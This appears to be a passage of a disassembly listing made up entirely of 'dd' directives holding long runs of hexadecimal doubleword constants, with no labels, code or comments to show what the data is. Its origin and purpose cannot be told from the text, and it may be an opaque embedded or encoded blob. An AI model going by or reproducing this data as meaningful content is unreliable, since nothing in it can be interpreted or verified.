		dd 5828D773h, 42003F4Ah, 0A2B931Eh, 1684DFh, 6D1B4BC9h
		dd 8A838DC5h, 0E4585B00h, 3438DD05h, 7E2C1CB3h,	20FA80C8h
		dd 0F4F1240Ch, 56009E7Ch, 16781264h, 0EA8557h, 0D1EBDE90h
		dd 54F3C11Ch, 0DDEDFD0Fh, 0EAFC0E9h, 6C44196h, 10096D03h
		dd 0C3008055h, 0D47DBBEBh, 725AF53h, 0DD17043Ch, 0DFC18065h
		dd 6C00A238h, 7B9AFFA7h, 0C3D0523h, 69A30FDCh, 7C003278h
		dd 0C9E25398h, 29A24Fh,	0F1843801h, 0E97EE5DFh,	2844B00Ah
		dd 400E88Ah, 22F61461h,	0D0E330A3h, 0F80CE6E0h,	0EA09367Bh
		dd 10583468h, 130E700h,	642671AFh, 0F445EE8Dh, 5D00A7ADh
		dd 43693FFFh, 0D3CCABh,	0BBA6D7F9h, 76FE194Ah, 4F00EAFCh
		dd 45164397h, 0F6793AB8h, 90580F82h, 0F9E0C602h, 6E249952h
		dd 292BDF07h, 6660E696h, 0BEF0B2h, 0FF5F0C6Fh, 442D6083h
		dd 2ACC060Ch, 25F073h, 70E5431Ah, 6A24B7DBh, 0D2C9EA60h
		dd 95203D6h, 87F04E48h,	0E7CE2427h, 6B9650F7h, 4C12CB51h
		dd 0F900701Ch, 279F7E42h, 0BC2E014Eh, 0A44D2839h, 39E03A50h
		dd 5C7874h, 997FEDFAh, 91A06F5Eh, 0C5B13F02h, 483AB397h
		dd 0CEE194h, 0C8DC5281h, 0F4D84B45h, 400063E8h,	886BDFFh
		dd 13FA89A7h, 0EA959h, 0C73017F9h, 19847D9h, 803E553Ch
		dd 145C9DD0h, 2E9264h, 0DA5A1121h, 0F809057Bh, 0E09ABA00h
		dd 0AFD9F978h, 0EFFA3D22h, 0E2A77D00h, 3517E172h, 13B7339h
		dd 84C48310h, 0A4D85CDFh, 25D500EDh, 27D2041Ch,	0BF0318EEh
		dd 9C328A0Bh, 0EF960394h, 0C93F97C7h, 80C5D121h, 65296C48h
		dd 0F3005A99h, 0C479033h, 0B0E78722h, 0BAEA3CB6h, 0DD36569Eh
		dd 0D5FCC0F3h, 5307C048h, 92C24B04h, 807D71h, 18A99652h
		dd 1078E570h, 0C103A65Bh, 0BB340B45h, 6BD1B9EBh, 60D0FCh
		dd 801676FCh, 0F7FA1F2Eh, 0A53FCB04h, 4C903797h, 3C84EB35h
		dd 4300C1FCh, 5302DA5Fh, 0BA00F7CEh, 76AE4955h,	986092h
		dd 0EDC89CECh, 46F4D904h, 51076400h, 4DC6143Bh,	8620095h
		dd 0A01B88EFh, 81072F5Ch, 2EDCBE70h, 47043650h,	87FF0B6Dh
		dd 6D04E47Fh, 9306808Ah, 0B00C1CFh, 7334E5E0h, 4BD5DFh
		dd 31B8EC29h, 0A07594E1h, 0AC52A400h, 0BB54D70Fh, 95450063h
		dd 0DAD5EF2h, 0C51870D2h, 44C0A86Ch, 37AB0110h,	41037506h
		dd 0BF0EEC25h, 0BA1EDF77h, 0AF40D22Ah, 396D0B7Bh, 3A481ED9h
		dd 58ACFADh, 55B2AE41h,	2CD8205Bh, 0A1ED3104h, 0BC90DF7Bh
		dd 2659FDF0h, 0A46518h,	8D96A2E7h, 0E0F7BC09h, 8500B47Ch
		dd 1744ACC5h, 0B19165h,	3C587A0Eh, 0CD1DE873h, 600377Fh
		dd 0B5A4BF63h, 13E44732h, 0B03118h, 88EE2188h, 0C0001AD2h
		dd 10DFAA99h, 182B63Fh,	392EC27h, 34076879h, 0E9005728h
		dd 7BB2EB4Eh, 3787045h,	22A00A96h, 11007113h, 0DB87A40Ch
		dd 246ADE29h, 81FC096Bh, 716F9737h, 1F542476h, 4600ACE4h
		dd 0E6188CFFh, 60433Bh,	283503F7h, 405B79F1h, 1CB3A100h
		dd 99126E64h, 31E000C2h, 0E69C0270h, 900F2EBh, 7F45309Ah
		dd 7CE94Eh, 5585772Fh, 2AC30D9Dh, 7C02DE58h, 0E370467Dh
		dd 47CE6D02h, 400EB658h, 502B3A14h, 76EED842h, 1A940080h
		dd 0ECF39235h, 0BB0023DCh, 0AD5BD4A4h, 97F97Dh,	0EA82775Fh
		dd 0F8949092h, 4A7BA607h
		dd 8030CAC4h, 0EEA85247h, 3BFA01C9h, 5CB52156h,	0F72C30CDh
		dd 33B72800h, 0AFDBE0B3h, 0D6A200A8h, 93B95062h, 0A7001B26h
		dd 0B3C7F92Ah, 0A6E92Dh, 0CDE9EB8h, 0C0D9B771h,	21AD9101h
		dd 7A25BCE4h, 75DF52C8h, 0D1A2002Ah, 1EC0E3ECh,	0BD00DB07h
		dd 5BF8351Fh, 0E8A721h,	7702A965h, 7E612D4Ah, 7008EC00h
		dd 0B9BC307Ah, 0A4130003h, 256BC19Eh, 1700A126h, 0F4980427h
		dd 1A97E5Ch, 50C52359h,	0E883AA61h, 0ED0F6970h,	0E7745351h
		dd 6A209028h, 1C8A271h,	69222AFCh, 6005A0C2h, 0B809EF5Ah
		dd 920CD0h, 0E3CC1C24h,	90E900FBh, 0EB7C4F38h, 24241F04h
		dd 2D0064E8h, 15858E68h, 88EE80h, 58D62517h, 6DE67CA0h
		dd 0FFEF6B01h, 35216C93h, 1FD02420h, 0C02F0588h, 0C7049444h
		dd 0B93FEB02h, 834C81E3h, 0F275859Bh, 1D790860h, 405D4EE7h
		dd 8527AF0h, 0AF018060h, 0AD83720Bh, 0B9D46F6Dh, 0BC490041h
		dd 0A1C86CA3h, 982493D2h, 37805CB7h, 0E4A0112Ah, 2220E90h
		dd 25238914h, 0CBF2D8A1h, 53918B1h, 7260A040h, 7467B814h
		dd 0F61D0022h, 8E532732h, 9F00C645h, 4D3911D6h,	774C31AAh
		dd 1B500052h, 0FC2CDA1Ch, 60003ABBh, 3161AC63h,	0C166348Bh
		dd 511B780h, 607182B4h,	1CB89ACh, 6B147A66h, 8BDFF0h, 37D13040h
		dd 0CCAC1070h, 0A35C9001h, 25CAB4D9h, 0C60D3082h, 0D4683079h
		dd 500A9B5h, 64242F2Ch,	8ADD91h, 0DB97C670h, 0E42A5BABh
		dd 45473Eh, 0B32D32EAh,	0E44D3DE2h, 2B560097h, 98625BC8h
		dd 304C7346h, 0B840007Ah, 0AE59C765h, 309EAD7h,	0E4819DEDh
		dd 5D83CE9h, 4A0CA567h,	0D1BB4395h, 26520028h, 1076B574h
		dd 84E50508h, 0C39091A1h, 0C0E48DC2h, 0A013C244h, 8492F70Ch
		dd 3F10EE43h, 243A8AE7h, 42EC3788h, 89010AE6h, 19BC46D6h
		dd 22AEDB26h, 0FBC62AE4h, 98AC0098h, 5F7A2309h,	466E241Eh
		dd 43048018h, 0EE2D62B3h, 0B751C2CFh, 1C80B1D3h, 610C0826h
		dd 36FF4A1Eh, 0AE0C903h, 9201C051h, 0B1D61863h,	6054711Dh
		dd 32921F1h, 0B6C16D08h, 998C111Ch, 219CEFCh, 0DDAACA2h
		dd 9490C1D8h, 0D77AB68Bh, 0AB95F080h, 7229D8ACh, 85FEA199h
		dd 190E382Dh, 732013E2h, 0EB8A2EA7h, 0FF069F1Fh, 0E69021C0h
		dd 742D505h, 80E3C6BFh,	0F143B732h, 0C82BB75Dh,	7E6703CAh
		dd 3E86C148h, 81A20368h, 0FB0D6ECh, 0B94B910Eh,	0BE9820AEh
		dd 45824Dh, 0DC832D22h,	0C78BDE72h, 0B38827E4h,	19FB0E5Fh
		dd 9CA424h, 0D896ED67h,	2C01DEAEh, 0EF5ADFE4h, 0DBD760h
		dd 7742D9E0h, 52E99EA7h, 0D64AD500h, 0C86617B4h, 4D8FA0B1h
		dd 41E00F5Fh, 8980B78Eh, 0CB0D2FBCh, 0E788DB09h, 9F9C2058h
		dd 1DC60159h, 18375B23h, 0DDAF9126h, 3D316424h,	0C73F2700h
		dd 82897Eh, 16B35F25h, 8E32C11Dh, 80C86448h, 0BD63B0DBh
		dd 44DD008Bh, 209142A1h, 7A014101h, 11D2E6DEh, 0A3FC59FBh
		dd 0C47E6Fh, 91BDE980h,	0F235DF25h, 4665441Ch, 895E0870h
		dd 0ACE10F37h, 33A009C6h, 0D2DDE62Eh, 0BC1C770Eh, 0E903E15Ch
		dd 40888E01h, 301D9E51h, 50BF5606h, 19FE0011h, 19F1007h
		dd 0D3336960h, 3E6108ECh, 7008821h, 0BCC127D1h,	58E40F23h
		dd 97760C0h, 6AA8E16h, 2FEA8643h, 0E4031866h, 0B1591844h
		dd 0FEA80045h, 0A9728AEh, 5D388BB8h, 328A3AD5h,	0C0F121D9h
		dd 0FECA1Eh, 0E7230327h, 2741FBBh, 5400A7F2h, 46A25D41h
		dd 299CDDh, 0EF569FBDh,	3E9268B2h, 0F0A8AE00h, 0C1B1FD55h
		dd 0F27587h, 3C2DB88Bh,	0DC37FCBBh, 2C013E71h, 30CBE58Eh
		dd 0B7FFD404h, 2EF151C0h, 0B46E0083h, 8ED77876h, 0D809B719h
		dd 8E0E673Fh, 0F9DA476Eh, 0D456002Bh, 7D294B49h, 86DC487Dh
		dd 0E6351700h, 3469C4DEh, 3D574D01h, 6B408A53h,	4431094h
		dd 0ED68E0AEh, 0BC94A038h, 7FF10010h, 0C160DE39h, 280024EFh
		dd 7EDBA93Ch, 73EB6968h, 0E7BC1B14h, 0CCB229F6h, 908F082Eh
		dd 0F8D38445h, 828584Ah, 41908DB4h, 4AFBA684h, 0CF001474h
		dd 68411822h, 9D10843Dh, 70227CA1h, 0DC60D200h,	2252A21Ah
		dd 8FF0026Ch, 9C8A6569h, 890F64C0h, 0CB5CA00Eh,	0CA7A60F1h
		dd 4394FBh, 1267F619h, 0BA4B041Eh, 0FE0EEF03h, 987DAC0Ch
		dd 0C66A1Bh, 0ABE7AF3Dh, 2AE975CFh, 0E268C200h,	0AD03DE4Fh
		dd 0A5EA79h, 110722Bh, 0F9C89B57h, 0C049C200h, 4D2AE5CBh
		dd 736B00F8h, 0DBB25174h, 9022C5Ch, 1A3104F5h, 0BC6B6105h
		dd 3F5568E0h, 0CCD47760h, 6EB0074Ch, 0CD27EBh, 1B03052Bh
		dd 496FC800h, 0B0FEB1F8h, 8AE0097h, 69F13C51h, 0FD00B6CEh
		dd 0DF209C2Dh, 7EB3B1h,	7F616CAAh, 36CEBB7Dh, 2C749200h
		dd 49025CF9h, 0DC49C4h,	0B550B400h, 0B9F31F35h,	0B3A05600h
		dd 0F01D333Bh, 63A700DCh, 0D7488007h, 0A2006488h, 0C2B1B892h
		dd 783FF71h, 70DDF98Eh,	473B43E7h, 0ABBA5EF0h, 710F6A00h
		dd 60F74829h, 0E2FAC6h,	0FA884955h, 0EDA265DEh,	8970C878h
		dd 0B7E6AA0Ch, 77828E9h, 949566C1h, 9DEF904Bh, 1E05AF1Fh
		dd 23A634D5h, 0A3C9C3h,	7ACED888h, 9902BAE0h, 7F93DC02h
		dd 0E365C09Eh, 9A5298C2h, 198D0007h, 0B6947D17h, 0A200677Ah
		dd 0CE4193F9h, 1F1AE349h, 0DABFDFh, 0BB349E7Dh,	84009AB0h
		dd 7E161456h, 284E3FD5h, 1CC714Bh, 7CE759A0h, 0F4A91BADh
		dd 0EF006542h, 0D0B55517h, 35EA8B0h, 0CA8B46F7h, 0D8D0C250h
		dd 54007F75h, 0E90A70EFh, 4E050B34h, 5CF4F0F9h,	0E8744228h
		dd 9B300300h, 0DEFFB653h, 0CF5A09A8h, 400A72Fh,	5E01D9EDh
		dd 0B53D310Ch, 0F430F9h, 0E3062F80h, 0A68E7929h, 2888C00h
		dd 351633DEh, 0A0A074F6h, 6650F0h, 8A07B94Fh, 4230DE69h
		dd 6B254000h, 48B5FCFAh, 0A8ED50C6h, 10B600AEh,	18957F3Bh
		dd 650F4666h, 60A023FCh, 53673CAh, 3C6A001Eh, 0F66D6B96h
		dd 3350CE66h, 0E1128BD5h, 0B8004E48h, 30417188h, 916000D3h
		dd 1F0ECEBCh, 1600FB89h, 3FE14E08h, 583A57D8h, 0A300802Ch
		dd 0AAFB493h, 9D00AB8Eh, 297055D0h, 0E44DE9D3h,	54A0C84h
		dd 0D5D01D17h, 7044482Dh, 114E268h, 8D5197F8h, 60A58513h
		dd 6B383EC5h, 77600A4h,	0BC701272h, 6E1121Bh, 16EB004Fh
		dd 2717B250h, 12FED648h, 0F8013AD2h, 4893303Eh,	27285FCh
		dd 4252F6F7h, 0F44878F2h, 7E12B5BDh, 54158C5Ch,	0B1BB003Ch
		dd 6EC7249Dh, 0FF5609A2h, 4400A5AEh, 8C4BB4DEh,	0D0643724h
		dd 20983119h, 7AB16FF0h, 66FC008Bh, 0F434BFEEh,	7E1F5F57h
		dd 119270F1h, 0CD05CC5Dh, 0E40008BDh, 0B424AC1Eh, 7CC3121Dh
		dd 3AD4404Bh, 0C56CA2D3h, 0C4C2871Eh, 69A1B400h, 1DEBA4E8h
		dd 9E6AC6h, 7F34F4B0h, 30001E1Dh, 0D492B7B5h, 0BFC2B6h
		dd 57DBAE8Fh, 86BDD704h, 0E90D1500h, 1C3F6372h,	0A1E626h
		dd 0F2EEAD7Dh, 0D0146769h, 77C6F0Bh, 0F7BA8034h, 3A7585h
		dd 0E8BD7350h, 526BBE40h, 3D228348h, 36FD84C5h,	3D80E230h
		dd 907753h, 0A74A5FA6h,	5CAAD226h, 3E073F00h, 216511CAh
		dd 766D00D9h, 29BEF0FAh, 0C11CB4ECh, 80BB5167h,	47F520D2h
		dd 27B6D1h, 3CCC4FE0h, 5255BD15h, 5C160500h, 64DDF25Fh
		dd 0E84A005Bh, 0A1E5519Dh, 95021ED1h, 6CAB082Ch, 8C6D603Ah
		dd 9E170026h, 57E87EF1h, 2C3DD7F4h, 4991815Bh, 1F6A66EBh
		dd 17EE95C0h, 8DEF7Dh, 9A74A0E3h, 0E21E7B58h, 0CBC1AD09h
		dd 0AA191F97h, 79A18C30h, 4D1D03DCh, 4214C8D7h,	0DA4731D8h
		dd 0A490C07Ah
		dd 0B47A5800h, 0AED89E40h, 1A2E42Dh, 65AB8B79h,	0CC0C3742h
		dd 200ED22h, 0F8854B7Eh, 6B2B09h, 776EE5BDh, 0D6B126D7h
		dd 10008F6h, 341FFDBh, 756F2C7h, 89E1A33Bh, 0B72EC0EDh
		dd 1000FA1Bh, 0F60A48FBh, 7879C7h, 737AD0EFh, 0E8C3BDFh
		dd 0C657B60Eh, 227C80BBh, 16166EA3h, 8AF307h, 44EED5E9h
		dd 57006240h, 9071EB2Dh, 0F04FF4E0h, 34CA0BFCh,	2420A1C7h
		dd 0AAE63EAh, 9EA49100h, 675BAFDDh, 26610B37h, 610041FBh
		dd 8D3044DFh, 0BE8BA00h, 7CA5B492h, 892900C3h, 67FFCE2Fh
		dd 707CF09Fh, 0BC41492Ch, 161C1305h, 1A0EB890h,	395901F8h
		dd 9BB2842Dh, 49982008h, 4ECD7900h, 439E76CEh, 858307ECh
		dd 0D0901669h, 6CAD1BB5h, 0FD00E7E0h, 0E1567E08h, 0A01547A3h
		dd 0AA1686h, 0FBBE7498h, 6830EA02h, 0C7E0626h, 673C3A00h
		dd 0CA6348h, 0F70C7A98h, 0E9C9440Eh, 0BEB67400h, 4BE8EF8Ch
		dd 456E899h, 0AA741CAh,	9204C00Bh, 0A8E86ED9h, 0B0CE7202h
		dd 80B43083h, 1655DBE1h, 506D0465h, 0C002FC9Eh,	8922BE14h
		dd 0F6F34403h, 80B4494Ch, 65AC73h, 31903ADCh, 8CE133FCh
		dd 5F563Ch, 0B94342B8h,	0F82D6791h, 0A190077h, 0C7E74437h
		dd 7D0336A0h, 0E2A91381h, 0F51AD00Eh, 6ADE002Fh, 3AA7246Eh
		dd 0D50702D1h, 8C26F612h, 5C13AFC0h, 0B28532ECh, 0DC8040ECh
		dd 0D36971E6h, 9964F600h, 0C642B73Fh, 0D023003Ch, 0AE44380Ah
		dd 8703BD43h, 6534CB32h, 2F2E985Ah, 1F7E00B2h, 4E2C0E36h
		dd 4000877Dh, 0CB376016h, 30ABDEh, 0BE9C46B1h, 9220C714h
		dd 0E52C4100h, 681D9567h, 985B0403h, 805FEB3Fh,	9699F834h
		dd 0BF31E200h, 0BAA14CD8h, 683018Eh, 0D287BBF6h, 0CD94C0D6h
		dd 971E200h, 5E86E4DCh,	0B7190016h, 63DB9D4Eh, 0B028D49h
		dd 3844E694h, 19FF004Ah, 0E2E0814Bh, 689D4100h,	0C988C14Dh
		dd 3FC400D6h, 0A8FCB9C7h, 2F1C6B14h, 0AF4769AEh, 9AA72207h
		dd 851AC0FEh, 7E79177h,	0AE61A05Bh, 9CC5A094h, 6800406Bh
		dd 0BD12BAD0h, 39E478Fh, 0BCACBEF3h, 86D8B9FEh,	0B20010CEh
		dd 0E71A93DBh, 1A661B6h, 0ED479BBDh, 0DB6D9057h, 88DD80A0h
		dd 181C4C00h, 25B18ACCh, 7860058h, 9F216F5Dh, 1EFC0875h
		dd 3D038C90h, 50CD0ED1h, 20E08FC7h, 955671h, 31FA0172h
		dd 0C612678h, 0BD0E9413h, 92436200h, 7B4BF3h, 6C46C219h
		dd 0BC96EA36h, 12D7D158h, 8C01118Dh, 4A0B6856h,	31962009h
		dd 401EBE90h, 1600B6DFh, 3326C2Fh, 0ACE6001Ch, 8CF1E271h
		dd 7CFACE73h, 521FDB76h, 0CA402985h, 8A51054h, 8B009748h
		dd 21AE6DA0h, 3C007AEAh, 2E160F31h, 1205BD8h, 6833CF32h
		dd 8172D3AAh, 24426CE8h, 0B1E96DCDh, 71E882EAh,	0CBCE4154h
		dd 6FEE0h, 7AF88D80h, 7C2D6962h, 6A888603h, 0D022A587h
		dd 775584h, 0DC05DF56h,	0BD4D8FFBh, 1FD2213Ch, 0A75D423Ch
		dd 357B7BFCh, 0A60B0200h, 82F09CABh, 4B4BDFh, 468CDDA8h
		dd 9F00D826h, 2DFE540Eh, 168942D7h, 0F9CA20h, 7738A40Eh
		dd 0C6007407h, 0EF9617A6h, 17D9AB6Ch, 0FF90A8h,	0DFAE58D7h
		dd 3E79B379h, 1700D4B8h, 863A9C4Eh, 8F9067h, 0B9BC2188h
		dd 46C4A60Ch, 7CD5BF12h, 82CFECC1h, 982036C5h, 4F6700A8h
		dd 8FD283EFh, 38003A13h, 8828AF4h, 18F275D4h, 0C171C8BAh
		dd 0C1F8454Eh, 2F649700h, 0B02562D6h, 96102F7h,	8EFC6D1Eh
		dd 2CED8FE0h, 51374009h, 1DA4804Dh, 60AEDE7Eh, 0ACE3487Dh
		dd 0BEF4C020h, 49907907h, 802B08C7h, 0DF3EA092h, 0ADEA0045h
		dd 66F4DA40h, 0DE002A0Ah, 0B324C631h, 36B8A46h,	0BAFCB74Dh
		dd 43E02FB1h, 7FE40773h, 0D89EBB30h, 4CB0186Bh,	0BA005872h
		dd 297C9CAAh, 0B505CD74h, 7776C623h, 2B9294D0h,	470F3h
		dd 2421F691h, 6413890Eh, 0EC013AFEh, 8D88DA6Ah,	0CEC47178h
		dd 0BE960275h, 6C7704FCh, 0C8458CA4h, 5B00C40Ch, 0D3688E7Eh
		dd 616D44F1h, 0B8369103h, 74403CEAh, 94A448FBh,	48BE500h
		dd 2F011E98h, 665601D7h, 0BF9376E1h, 44D6C4A2h,	1312D80Eh
		dd 84652460h, 5FAD4044h, 6486F800h, 0B89C0BA2h,	5E54018Bh
		dd 286DF682h, 8358F0AAh, 0BF8AE60Fh, 5F6BC722h,	0D99C1910h
		dd 0EA370052h, 95090D7Fh, 800023EDh, 7967EC08h,	7A2E4181h
		dd 2BE9C669h, 0FEFAB842h, 0A0A6AE28h, 75870600h, 0B8961E82h
		dd 6D42071Ch, 0D72E5701h, 88839456h, 8211FD3Ch,	5303026Eh
		dd 7EFC88B5h, 0D9A916C0h, 45CFF900h, 9344E7D1h,	58E0A9D3h
		dd 0B48BD4h, 5009A397h,	0FBA265C0h, 6DC87F06h, 1DF86FBFh
		dd 0C0C781AFh, 0E107872Dh, 0DF9830B4h, 637D1F00h, 0AAF16918h
		dd 0DF377082h, 5CF24080h, 0D2BC9C76h, 743C0479h, 0D44E8083h
		dd 1C856EA1h, 0EE35098Ch, 0FCA038A6h, 1D0340E7h, 80B32D3Ah
		dd 0FC41F13Ch, 23ECB8h,	539F04D4h, 56B74B80h, 3DACB64Eh
		dd 407CCF00h, 4FFEB1EFh, 2EC88A13h, 60EDF882h, 3506C58h
		dd 70025297h, 0BC8FBB3h, 79009F75h, 0EAFADD8Eh,	30E7A4BDh
		dd 0E20BFA8h, 69017AEFh, 0CC1B8646h, 183C1A20h,	0CBE2DF00h
		dd 9219C011h, 8CDED8A8h, 30620100h, 0ECC660EBh,	50E9F204h
		dd 56B81Bh, 4ADD099Eh, 1EF4083Ch, 91EBEA02h, 40A380B1h
		dd 37D07F7h, 0CD6E22CEh, 94D88D39h, 1000694Ah, 6CC09EF4h
		dd 8FC1A8h, 47D71B72h, 0CD46A937h, 5F06CC91h, 0BB83C3Bh
		dd 3A6C12DAh, 0DCF73D80h, 5800AA4Bh, 416A6A4h, 7C09AE21h
		dd 0D4F10447h, 0EBEF44BDh, 0E696BF80h, 0DFFC9Dh, 0E0AAC287h
		dd 0E35A70F1h, 7643E0C4h, 22E02489h, 0B47203h, 0D82F93E2h
		dd 5DFADCF4h, 0C979C3Dh, 0F815096Fh, 27B8F6h, 0FC818AB2h
		dd 55C8D484h, 0A650D601h, 0EFA79FEBh, 2915C0h, 0C6633F6Dh
		dd 4D3442Bh, 23FE9E50h,	0A8927A28h, 8304ACEEh, 0B5BBA1B1h
		dd 35F04487h, 0B65C9Ch,	278BB867h, 480EF942h, 0D224CE00h
		dd 383FFE7Bh, 0AC80014h, 39D4EC63h, 70987377h, 66852E00h
		dd 9ECA6B60h, 346A0558h, 960F1Eh, 0D0630689h, 7307D37Ah
		dd 3C979147h, 54044060h, 2C7B0099h, 643A980Ah, 740A9421h
		dd 947512EFh, 80C4C90Bh, 60CB4C57h, 56C00C3h, 158EE9F2h
		dd 940035F6h, 67801D2Ah, 75FEB97Ah, 0C4DE00D4h,	9662FF99h
		dd 0F700F022h, 7D80743Eh, 58862FB3h, 0BA04F430h, 0E04BE781h
		dd 630EC68Ch, 0A2804036h, 0E0D242DEh, 38BBEA93h, 0A50B6FCEh
		dd 8C477A66h, 2F9CE007h, 1B182DD0h, 8BD512EBh, 87840A63h
		dd 29912D0h, 0E13BB024h, 0C2F28760h, 64609E03h,	892A0BCEh
		dd 6AE4729Bh, 1E8A5ACBh, 28BFDE2Ch, 63350F89h, 902F8B3Eh
		dd 0A716C501h, 0DD4EF86Bh, 67007376h, 96665E85h, 0FA2AB43Dh
		dd 1EE691h, 0A414AD70h,	0B02D073Fh, 9E5BED00h, 520A888Dh
		dd 0C1781D1Bh, 0CB24C3A8h, 9DB86CB9h, 2D5CDA08h, 16220CA0h
		dd 0ED0C20FFh, 0A1CBF1D3h, 0E75EDE4h, 0BECFE2F3h, 90A05869h
		dd 8BA5B720h, 0B0002490h, 4DEF23D4h, 2C386817h,	80585BE7h
		dd 33940743h, 58019C73h, 508F71A5h, 2180058Ah, 10C457DAh
		dd 3A033C4Dh, 0C8047196h, 0D129D880h, 2275BAh, 45667468h
		dd 8E42F4E3h, 195CDF01h, 0BF752A9Dh, 7A014DD8h,	0E6C20272h
		dd 0CC61547Fh, 3B00D458h, 0A3BDAD56h, 0BF319CEh, 1A717B68h
		dd 9E256187h, 14B55080h, 0CB004438h, 9DC74B88h,	0E55D8Ch
		dd 0D6F06B7Eh, 3CB36A6Fh, 8EC8580Eh, 0F7A46027h, 7F9EC677h
		dd 0FE0D0049h, 0BD20D362h
		dd 0F100B560h, 31382BCAh, 71AA6BAh, 1095EBD9h, 0E8037946h
		dd 0B7F8FB0Fh, 0D3001EDFh, 24AE9E7Ch, 0A4CCED8h, 850831F6h
		dd 0F4E900A3h, 42AC8E67h, 2C40AA0Fh, 13356EECh,	764DA4C1h
		dd 898B1428h, 1C19D460h, 0D380A601h, 0A43898B2h, 0CAB6CCh
		dd 0ABD95617h, 0B994D62Ah, 800037ECh, 0ED1096DBh, 3C78B08Ch
		dd 0A200C497h, 0C2813E23h, 4A01804Dh, 0EB077D98h, 0FC42479Bh
		dd 2073E8h, 6DD433C2h, 0BA02F1D6h, 506517FEh, 447CC021h
		dd 641000D1h, 0D3C00109h, 1E07D826h, 0DC5E43A6h, 329CD2D0h
		dd 0FEBE00A1h, 8B4FFBEDh, 623A1867h, 0DBAE800Ah, 0AC4E50B7h
		dd 9CD60266h, 6AD8A725h, 2340B442h, 0FEB8D512h,	0D9F6381Fh
		dd 2948C47h, 66805FEEh,	53BDEBA2h, 6DC00031h, 5EDD39FAh
		dd 0B400D052h, 0A4D31B36h, 0DE7AEB10h, 78F2C0D8h, 62F707B8h
		dd 0DA35710Eh, 0CA3C2021h, 6BB51Dh, 22D442E3h, 0A54E5526h
		dd 9DD66F00h, 5BBB5AEEh, 0F2250191h, 6BBE8193h,	12F8F73Dh
		dd 633E9E7Eh, 0B3B400A8h, 0B7F26A97h, 0B0FCE0h,	4990C66Fh
		dd 59B5FFF6h, 0E844F329h, 36EF02E1h, 285352E4h,	7E802B0Ah
		dd 426D1D9Bh, 0BDF041F5h, 7132B1E9h, 0CCB03090h, 21D8E854h
		dd 0E50A4947h, 0D0DF27h, 0BFA395B5h, 0C6001A51h, 0C2F0528Ah
		dd 3FCE0C9Ah, 0A48048E0h, 3D4D5DBCh, 5F2EFBD6h,	440064A1h
		dd 9E6A42D7h, 7E3438F9h, 0E80ECB8h, 9243C739h, 87E59C3h
		dd 0B79F1102h, 7AB92CFEh, 80165EE0h, 86F24C1Ah,	0A2677D01h
		dd 89BB5593h, 2B242D0h,	0CA999534h, 0D480F1EEh,	0DF1EE6E1h
		dd 44140h, 3B852A01h, 46FB1C2Ch, 0DD12A403h, 0CBE11470h
		dd 0F2D3887Fh, 177D99h,	9A46896Fh, 0AAE62A6h, 9F52D400h
		dd 8F82AF06h, 914B08CCh, 5F042EC7h, 9430E4A4h, 549AD5F1h
		dd 0FEF3D600h, 5923810Ah, 48BB009Ch, 1C8D6FCFh,	2500DCCBh
		dd 79722FB4h, 0B1653E81h, 719FF4h, 0F9A04035h, 955D6838h
		dd 9AFA0E68h, 26892Dh, 0C359AFCCh, 4FA89AADh, 8684056Ah
		dd 0A1D8F0F4h, 49CA400h, 1F11DF69h, 6833008Eh, 0FB5D8706h
		dd 8A3DEA3Ch, 20BC034Dh, 80D0EF7Ch, 7581F3Dh, 46762DDCh
		dd 0C807203Bh, 0C10F1EC7h, 0A00AD770h, 626A27E8h, 0A07F1DFFh
		dd 0FA8CC0E7h, 0EF297D66h, 65415600h, 85B071BEh, 0D9A6006Fh
		dd 4EAC81F8h, 8A0EA378h, 214F3D2Fh, 45EC2B63h, 67E1ECh
		dd 0B006F1A8h, 1DFA017Bh, 80135Dh, 0C621A0DBh, 1D1990FFh
		dd 925ED133h, 40BC1CEBh, 44D0D26h, 0C4BEE4D5h, 0D8076426h
		dd 2DE06D48h, 0F54CC6h,	0BA1B2E6Eh, 675F4456h, 0E60B39C0h
		dd 470C0F1h, 0D5E81FFEh, 3B98AC39h, 7222B0h, 0C188C8A8h
		dd 87812805h, 0A61A8B04h, 80456854h, 0FC1C0362h, 0FEC91759h
		dd 0D069D141h, 0C850E81Eh, 0D3E3A610h, 59F23950h, 748BAF3Bh
		dd 0B153AC00h, 7C5B7450h, 0C27FFEh, 0F29B18B9h,	0E08A6D76h
		dd 19A07800h, 7746DF6Bh, 590B1980h, 98B45197h, 26692240h
		dd 490733Bh, 0B71779B8h, 8498A4F9h, 0B2282A07h,	0E2C5EF8Bh
		dd 0CEC20C03h, 3987806h, 6F7711B9h, 0C0A476DFh,	0C2C307CCh
		dd 0E6B710A0h, 1DC01CA0h, 0D7AB8CA0h, 1929C101h, 0C7C115Ah
		dd 0ADEAD0C7h, 0C4C300CEh, 0E2051E1Dh, 1907F61Bh, 0F36BAA45h
		dd 3880BD0Eh, 3480AB7Fh, 224400E9h, 5DCAEC3Bh, 943A1A8Dh
		dd 0CE208E46h, 8B5FC025h, 0F00A59h, 8096553Ch, 73F4833Dh
		dd 0FD56B50Eh, 6364C05Ch, 0F11C8Ch, 1FA645DEh, 2EE6D7Bh
		dd 26947A39h, 0CC005E52h, 9BECA554h, 0E1400044h, 0AC684D97h
		dd 890015F0h, 63988E9Dh, 3418A6h, 16F88A0Dh, 0DC70CA93h
		dd 0DB7C3F12h, 3A8820B4h, 68098EBAh, 0B8720539h, 130FBB11h
		dd 0AB21DF04h, 0B14640DDh, 0CE5A0Dh, 12B773EBh,	3A21A828h
		dd 380040E4h, 0D815C162h, 3C2CE1h, 99243507h, 699D1771h
		dd 0D9886401h, 11288E3Bh, 0C8C0EC47h, 521054B1h, 0A2CF1426h
		dd 8121CEE1h, 29C4E81Ch, 0E4F28087h, 90ACCE2Bh,	26574500h
		dd 0ED279459h, 0D7A300FFh, 0FE489E15h, 17FB438h, 0D8C6AE46h
		dd 20147011h, 0E37444C1h, 0C0900005h, 6824A5E8h, 8A007759h
		dd 0B482D81Bh, 116B50C2h, 0A7ECF946h, 3C53D600h, 4693A30Ah
		dd 0FE012070h, 0DE4BE478h, 58444EA1h, 0F16905ECh, 0E0407F05h
		dd 0CD801BE4h, 4CF024D7h, 8F1100E2h, 150545Fh, 68011D4Ah
		dd 5149109Ch, 1FF90CDCh, 0C0174D15h, 948A50Fh, 0B50084E5h
		dd 0ABA6E261h, 121EAFC0h, 0F485269Ch, 0B7068640h, 6088F783h
		dd 882EC10h, 7107AE0Eh,	0C0BDF160h, 88773FD6h, 4127607Ch
		dd 71F3236Dh, 6E1CB879h, 5500D2BDh, 0F92EA229h,	8FD600F7h
